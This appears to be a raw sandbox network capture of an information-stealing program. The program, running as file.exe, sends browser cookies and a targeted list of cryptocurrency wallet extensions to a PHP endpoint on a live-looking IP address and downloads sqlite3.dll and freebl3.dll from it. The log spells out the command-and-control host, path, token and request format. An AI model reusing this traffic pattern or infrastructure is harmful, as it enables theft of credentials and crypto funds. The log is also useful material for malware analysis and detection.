TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 17:07:24.150664091 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 12, 2024 17:07:24.150674105 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 12, 2024 17:07:24.150760889 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 12, 2024 17:07:24.150773048 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 12, 2024 17:07:24.150784969 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 12, 2024 17:07:24.150811911 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Nov 12, 2024 17:07:24.152779102 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"fplugins------CFCBFHJECAKEHIECGIEB--
Nov 12, 2024 17:07:24.429363966 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 17:07:24.447149038 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.206 Content-Length: 7011 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 17:07:24.447221994 CET	7011	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 17:07:25.238956928 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:25.560931921 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:25.836419106 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 17:07:25.836487055 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 12, 2024 17:07:25.836499929 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49805	185.215.113.206	80	2100	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:07:36.868664026 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBKKFCBAKKFBGCBFHJDG--
Nov 12, 2024 17:07:38.271661997 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:38.542804956 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Nov 12, 2024 17:07:39.320504904 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49859	185.215.113.206	80	2100	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:07:44.713522911 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEH Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 17:07:44.713680983 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 17:07:46.146886110 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:46.419450998 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"------BAKKEGCAAECAAAKFBGIE--
Nov 12, 2024 17:07:47.193581104 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:47.894726992 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 17:07:48.174690962 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 17:07:48.174787998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 17:07:48.174801111 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 17:07:48.174810886 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 17:07:48.174926043 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 12, 2024 17:07:48.174938917 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
